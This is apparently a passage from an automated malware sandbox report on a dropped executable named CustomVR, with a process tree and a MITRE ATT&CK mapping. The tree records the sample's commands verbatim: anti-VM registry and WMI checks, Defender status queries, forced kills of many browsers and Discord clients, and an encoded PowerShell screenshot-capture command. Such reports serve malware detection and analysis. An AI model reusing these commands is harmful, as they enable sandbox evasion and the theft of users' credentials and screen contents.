    - Suspicious behavior: EnumeratesProcesses
    PID:1268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    PID:5184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(Get-PhysicalDisk).BusType"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\System32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:5192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:2180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:5144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:5964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5724
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse"
    3⤵
    - Looks for VMWare services registry key.
    PID:5336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\KVM""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SOFTWARE\KVM"
    3⤵
    PID:4468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5676
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "[System.Windows.Forms.Cursor]::Position.X""
  2⤵
  PID:2744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "[System.Windows.Forms.Cursor]::Position.X"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
  2⤵
  PID:2176
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  PID:684
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vol c:"
  2⤵
  PID:4528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  PID:3288
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:912
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --app-path="C:\Users\Admin\AppData\Local\Programs\CustomVR\resources\app.asar" --no-sandbox --no-zygote --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1782611598691757 --launch-time-ticks=655931735 --field-trial-handle=1872,i,16852023806057551233,106129778219990509,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1876,i,1948722429138298516,14067708075156761141,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2788 /prefetch:1
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  PID:1404
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:5964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  PID:6080
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:3068
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:2000
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --field-trial-handle=1872,i,16852023806057551233,106129778219990509,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1876,i,1948722429138298516,14067708075156761141,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=1960 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:3172
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:5860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  PID:4268
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:4740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"
  2⤵
  PID:2776
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:2332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe /T"
  2⤵
  PID:5480
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM orbitum.exe /T
    3⤵
    - Kills process with taskkill
    PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM atom.exe /T"
  2⤵
  PID:5824
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5144
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM atom.exe /T
    3⤵
    - Kills process with taskkill
    PID:4740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe /T"
  2⤵
  PID:4212
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM kometa.exe /T
    3⤵
    - Kills process with taskkill
    PID:2480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM torch.exe /T"
  2⤵
  PID:5748
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM torch.exe /T
    3⤵
    - Kills process with taskkill
    PID:4432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM amigo.exe /T"
  2⤵
  PID:5148
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM amigo.exe /T
    3⤵
    - Kills process with taskkill
    PID:3596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"
  2⤵
  PID:5172
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM coccoc.exe /T
    3⤵
    - Kills process with taskkill
    PID:2480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe /T"
  2⤵
  PID:4740
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM uran.exe /T
    3⤵
    - Kills process with taskkill
    PID:1068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"
  2⤵
  PID:4996
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM slimjet.exe /T
    3⤵
    - Kills process with taskkill
    PID:2508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ivaldi.exe /T"
  2⤵
  PID:4528
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM ivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:3264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T"
  2⤵
  PID:2304
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Kills process with taskkill
    PID:2320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:408
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:4540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:5396
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:5224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:4396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAyADkANgA5AC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAyADkANgA5AC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8AMgA5ADYAOQAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADIAOQA2ADkALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA"
  2⤵
  PID:6372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAyADkANgA5AC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAyADkANgA5AC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8AMgA5ADYAOQAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADIAOQA2ADkALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA
    3⤵
    PID:6416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:7044
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:7100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:5448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:5916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Discord.exe"
  2⤵
  PID:6276
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM Discord.exe
    3⤵
    - Kills process with taskkill
    PID:6168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordCanary.exe"
  2⤵
  PID:6576
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM DiscordCanary.exe
    3⤵
    - Kills process with taskkill
    PID:6472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordPTB.exe"
  2⤵
  PID:6652
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM DiscordPTB.exe
    3⤵
    - Kills process with taskkill
    PID:6484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordDevelopment.exe"
  2⤵
  PID:6772
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM DiscordDevelopment.exe
    3⤵
    - Kills process with taskkill
    PID:6712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vesktop.exe"
  2⤵
  PID:6968
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM Vesktop.exe
    3⤵
    - Kills process with taskkill
    PID:6880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vencord.exe"
  2⤵
  PID:6796
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM Vencord.exe
    3⤵
    - Kills process with taskkill
    PID:7040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM BetterDiscord.exe"
  2⤵
  PID:7148
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM BetterDiscord.exe
    3⤵
    - Kills process with taskkill
    PID:7052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Powercord.exe"
  2⤵
  PID:2500
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM Powercord.exe
    3⤵
    - Kills process with taskkill
    PID:6316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Revolt.exe"
  2⤵
  PID:7164
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM Revolt.exe
    3⤵
    - Kills process with taskkill
    PID:7020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Fluent.exe"
  2⤵
  PID:7000
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM Fluent.exe
    3⤵
    - Kills process with taskkill
    PID:6268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Lightcord.exe"
  2⤵
  PID:6636
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM Lightcord.exe
    3⤵
    - Kills process with taskkill
    PID:6304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordOpenSource.exe"
  2⤵
  PID:6376
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM DiscordOpenSource.exe
    3⤵
    - Kills process with taskkill
    PID:6640

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact